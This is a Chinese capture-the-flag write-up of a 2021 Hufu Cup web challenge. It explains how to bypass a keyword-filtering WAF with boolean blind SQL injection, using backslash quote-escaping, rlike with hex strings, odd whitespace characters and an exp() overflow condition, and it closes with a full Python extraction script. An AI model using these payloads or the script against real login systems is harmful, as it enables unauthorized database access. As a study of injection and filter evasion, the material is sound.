前言

今天遇到个有意思的SQL盲注,花了不少功夫,也学到了新姿势,遂记录下来以备后续碰到相同场景使用。

题目

这是2021 虎符杯的一道web题,有一个目标站点且附带了源码。

源码内容包括:

主要逻辑在login.php 与config.php,删去多余代码,主要功能在登陆上。

前端登录表单会发送给login.php处理:

然后所有的post参数会交给config.php 中的array_waf去做处理.

array_waf 是一个递归检测的waf,检测是否包含sql_waf 和 num_waf 在内的规则,符合规则直接退出。

经过检测后会进入config.php 中的login函数进行数据库查询。

可以看到login函数直接将参数拼接到了sql语句上,很明显的sql注入,且返回只有error、success、fail状态。 success的状态下会进入home.php 拿到flag。

拿到题目,逻辑比较清晰,绕过waf进行sql注入,按照原始的登陆逻辑,我们需要知道正确的username、password以及code值,通过sql注入绕过用户名及密码检测逻辑及知道code值

解题

绕过账密检测

$sql = "select * from users where username='$username' and password='$password'";
$res = $this->conn->query($sql);

根据这个sql拼接的方式绕过账密检测还是很简单的,因为sql_waf中限制',所以下面的payload就可以绕过账密检测。

username=admin\
password=||1#
select * from users where username='admin\' and password='||1#'

绕过code检测

因为在login逻辑中有对code值进行单独校验的部分,所以我们还需要利用上面的sql注入注出code的具体值。因为返回只有login fail、error两个结果,所以是个布尔盲注。

但盲注的大部分关键词都被waf限制,所以关键点就是绕waf。

sql_waf
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}

重点来看下sql_waf, 因为返回的内容有限,所以只能使用布尔盲注,而盲注通常会用到几个关键关键字:字符串截取类(substr、left、right、mid)、条件判断类(if)、语句分割类(空格、/**/)、逻辑运算类(and、or)。

一个盲注的payload: if(substr(database(),1,1)="t",1,0);

但很遗憾waf里面基本这些常用的都被禁用了,所以只能分别寻求替代

字符串截取类

禁用:substr、left、right、mid

绕过: like、rlike、inst

除开上面这些其实还可以使用 like、rlike、instr等

其中like与rlike的区别是 rlike支持正则表达式而like只支持如%,_等有限的通配符,like可以近似于"="

语句分割

禁用: 空格、\r(%0d)、\n(%0a)、\t(%09)\、/**/

语句之间分割常常使用空格

绕过: %a0(&nbsp)、%0b(垂直制表符)、%0c(换页符)

逻辑运算

禁用: and、or、=、>、<、regexp

绕过: &&、||、 like、greatest、least

条件判断

禁用: 因为禁用了,,所以if 语句没发使用

绕过: exp

EXP函数(本篇文章精髓)

这里重点其实就是exp函数,在sql注入里面exp函数一般被用做报错注入(mysql<5.5.53)里面输出报错信息。

如:

select exp(~(select*from(select user())x))

利用的是Double 溢出,exp(x) 含义为ex ,当x>709时就超过了double的取值范围造成报错。:

而例子中把字查询按位取反就能得到远大于709的值,报错就会把子查询内容显出出来。

其实除了能用在报错注入以外,利用exp在参数大于709时会报错的特性可以用来构造条件判断语句。

select exp(710 - expr)

在上面sql语句中 expr 若为 true 等价于0 则 语句就会报错(exp(710)),若expr 为false 等价于0 则语句正常执行。

code 注入

有了前面所有的绕过,就能构造语句进行code值注入了。

1. 判断code 长度:
||exp(710-((length(code))like({x})))
2. 猜解code字段具体值
||exp(710-((code)rlike(0x{reg_str})))#

因为' 被过滤,所以rlike后面不能出现字符串,需要 将正则表达式 ^xxx 转换成十六进制。

3. 绕过num_waf

这里面还有一个坑,num_waf 有个判断十六进制位数不能超过9位,既字符串不能超过4位,所以在包含正则^以外的字符串超过3位时需要 不断做替换,用3位字符串去匹配下一位。

逻辑很简单,需要花点心思去编码,

总结

如果有waf 限制了if 的使用,特殊情况下可以考虑通过exp函数来绕过。

代码

"""
ctfhub hatenum 盲注脚本
"""
import requests
from loguru import logger target = "http://challenge-732f479a63a3f952.sandbox.ctfhub.com:10800/login.php"
s = requests.session()
code_column_length = 0 def guess_length():
"""
猜解 code 字段长度
:return:
"""
global code_column_length
for x in range(1, 100):
payload = f"||exp(710-((length(code))like({x})))#"
if my_request(payload_tamper(payload)):
code_column_length = x
break
logger.info(f"code的长度为:{code_column_length}") def guess_code_str():
"""
实际猜解 code 字符串内容
:return:
"""
code_str = ""
tmp_str = ""
waf = False
for line_index in range(code_column_length):
logger.info(f"{line_index} - tmp_str - {tmp_str}")
if len(tmp_str) > 2:
logger.debug("超长了")
logger.debug(f"压缩前 {tmp_str}")
tmp_str = tmp_str[len(tmp_str)-2:]
logger.debug(f"压缩后 {tmp_str}")
waf = True
for x in range(48, 128):
if x in [63, 95, 124]:
continue
o_str = f"^{tmp_str}{chr(x)}"
if waf:
o_str = f"{tmp_str}{chr(x)}" reg_str = o_str.encode().hex()
logger.debug(f"{x}-{chr(x)}-{o_str}")
payload = f"||exp(710-((code)rlike(0x{reg_str})))#"
if my_request(payload_tamper(payload)):
tmp_str += chr(x)
code_str += chr(x)
logger.info(code_str)
break
logger.info(code_str) def response_check(rs):
"""
布尔 banner 判断
:param rs:
:return:
"""
logger.debug(rs.text)
if "error" in rs.text:
return False
elif "detected" in rs.text:
logger.error(rs.text)
exit("waf")
return True def payload_tamper(payload: str):
"""绕过过滤"""
return payload
# return payload.replace(" ", "%a0") def my_request(password):
"""请求封装"""
logger.debug(f"payload:{password}")
username = "admin\\"
code = "1"
p_data = gen_post_data(username, password, code)
rs = s.post(url=target, data=p_data, headers={'Content-Type': "application/x-www-form-urlencoded"}
, proxies={"http": "http://127.0.0.1:8088"}, allow_redirects=False)
if response_check(rs):
return True
return False def gen_post_data(username, password, code):
"""post 内容组装"""
data = dict()
data["username"] = username
data["password"] = password
data["code"] = code
# 手动构造避免自动 urlencode
return f"username={username}&password={password}&code={code}" def run():
guess_length() # 先猜测code长度
guess_code_str() # 根据长度猜测内容 if __name__ == '__main__':
run()

公众号

欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

2021 虎符杯hate num 注入题的更多相关文章

  1. 第四届蓝桥杯 c/c++真题

    第四届蓝桥杯 c/c++真题 <1>高斯日记 问题 大数学家高斯有个好习惯:无论如何都要记日记. 他的日记有个与众不同的地方,他从不注明年月日,而是用一个整数代替,比如:4210 后来人们 ...

  2. Python解答蓝桥杯省赛真题之从入门到真题(二刷题目一直更新)

    蓝桥刷题 原文链接: https://github.com/libo-sober/LanQiaoCup Python解答蓝桥杯省赛真题之从入门到真题 不同字串 """ 一 ...

  3. Java程序设计(2021春)——第一章课后题(选择题+编程题)答案与详解

    Java程序设计(2021春)--第一章课后题(选择题+编程题)答案与详解 目录 Java程序设计(2021春)--第一章课后题(选择题+编程题)答案与详解 第一章选择题 1.1 Java与面向对象程 ...

  4. 2021羊城杯比赛复现(Crypto)

    bigrsa 题目: from Crypto.Util.number import * from flag import * n1 = 10383529640908175186077053551474 ...

  5. 2021蓝桥杯省赛B组(C/C++)E.路径【最短路DP】

    2021蓝桥杯省赛B组题目(C/C++)E.路径 最短路径, 因为变化情况比较多, 所以开始想的是深搜, 但是太慢了, 跑不出来, 后来就想着优化一下, 有的地方到另一个地方可能会考虑很多遍, 于是考 ...

  6. 2021.12.21 eleveni的刷题记录

    2021.12.21 eleveni的刷题记录 0. 有意思的题 P6701 [POI1997] Genotype https://www.luogu.com.cn/problem/P6701 状压优 ...

  7. 2021.12.19 eleveni的刷题记录

    2021.12.19 eleveni的刷题记录 0. 本次记录有意思的题 0.1 每个点恰好经过一次并且求最小时间 P2469 [SDOI2010]星际竞速 https://www.luogu.com ...

  8. 2021.12.16 eleveni的刷题记录

    2021.12.16 eleveni的刷题记录 1. 数论 https://www.luogu.com.cn/problem/P2532 1.1卡特兰数 https://www.luogu.com.c ...

  9. 蓝桥杯java历年真题及答案整理1~20.md

    蓝桥杯java历年真题及答案整理(闭关一个月,呕心沥血整理出来的) 1 算法是这样的,如果给定N个不同字符,将这N个字符全排列,最终的结果将会是N!种.如:给定 A.B.C三个不同的字符,则结果为:A ...

  10. 南邮CTF--SQL注入题

    南邮CTF--SQL注入题 题目:GBK SQL injection 解析: 1.判断注入点:加入单引号发现被反斜杠转移掉了,换一个,看清题目,GBK,接下来利用宽字节进行注入 2.使用'%df' ' ...

随机推荐

  1. [转帖]阿里发布自研ARM服务器芯片倚天710,不对外出售

    https://www.modb.pro/db/139440 10月19日,阿里巴巴旗下半导体公司平头哥发布自研云芯片倚天710,并宣称该芯片是业界性能最强的ARM服务器芯片,性能超过业界标杆20%, ...

  2. [转帖]Centos 7 查看磁盘io ,找出占用io读写很高的进程

    1,先用iostat查看磁盘io 是否读写负载很高 用iostat -x 1 10 如果 iostat 没有,要 yum install sysstat安装这个包,第一眼看下图红色圈圈的那个如果%ut ...

  3. [转帖]SPECjvm测试工具详解

    ARM服务器测试大纲中指定了要使用specjvm测试Java虚拟机性能,所以就上网找开源的测试套. 简介 SPECjvm2008(java虚拟机基准测试)是用来测试java运行环境(JRE)性能的基准 ...

  4. [转贴]汉字编码:GB2312, GBK, GB18030, Big5

    汉字编码:GB2312, GBK, GB18030, Big5 https://www.cnblogs.com/malecrab/p/5300497.html 前一篇博文:ANSI是什么编码?中有这样 ...

  5. SAP FICO 前台财务过账、预制功能分开

    最近遇到一个变态要求,FB01 等涉及过账功能 要求根据'权限'判断用户是否有过账的功能.以下实现会有遗漏场景: 实现:hide 'SAVE'按钮 (ok_code = 'BU'). 根据状态栏设置' ...

  6. 【JS 逆向百例】cnki 学术翻译 AES 加密分析

    关注微信公众号:K哥爬虫,QQ交流群:808574309,持续分享爬虫进阶.JS/安卓逆向等技术干货! 声明 本文章中所有内容仅供学习交流,抓包内容.敏感网址.数据接口均已做脱敏处理,严禁用于商业用途 ...

  7. SqlSugar删除数据

    1.根据实体删除 1.1 强类型实体 需要配置主键 ,根据主键删除需要给实体配置主键,参考文档实体配置 //单个实体 db.Deleteable<Student>(new Student( ...

  8. 监控Celery不一定非要使用Flower

    运维平台中有许多的周期/定时/异步任务,例如证书扫描.数据备份.日志清理.线上作业等等,这些任务的执行都是借助于Celery来完成的.任务多了之后就会遇到一系列的问题,例如我之前写过的将任务分多队列来 ...

  9. 6、后端学习规划:Java学习 - 学习规划系列文章

    Java语言在现在的编程语言排行榜上也是前5的存在.经过这么些年的发展,Java的发展没有C#这么大,但是在编程领域,因为有MVC架构,以及Spring框架的支持,以及微服务架构等等,Java这些年也 ...

  10. 深入浅出Java多线程(六):Java内存模型

    引言 大家好,我是你们的老伙计秀才!今天带来的是[深入浅出Java多线程]系列的第六篇内容:Java内存模型.大家觉得有用请点赞,喜欢请关注!秀才在此谢过大家了!!! 在并发编程中,有两个关键问题至关 ...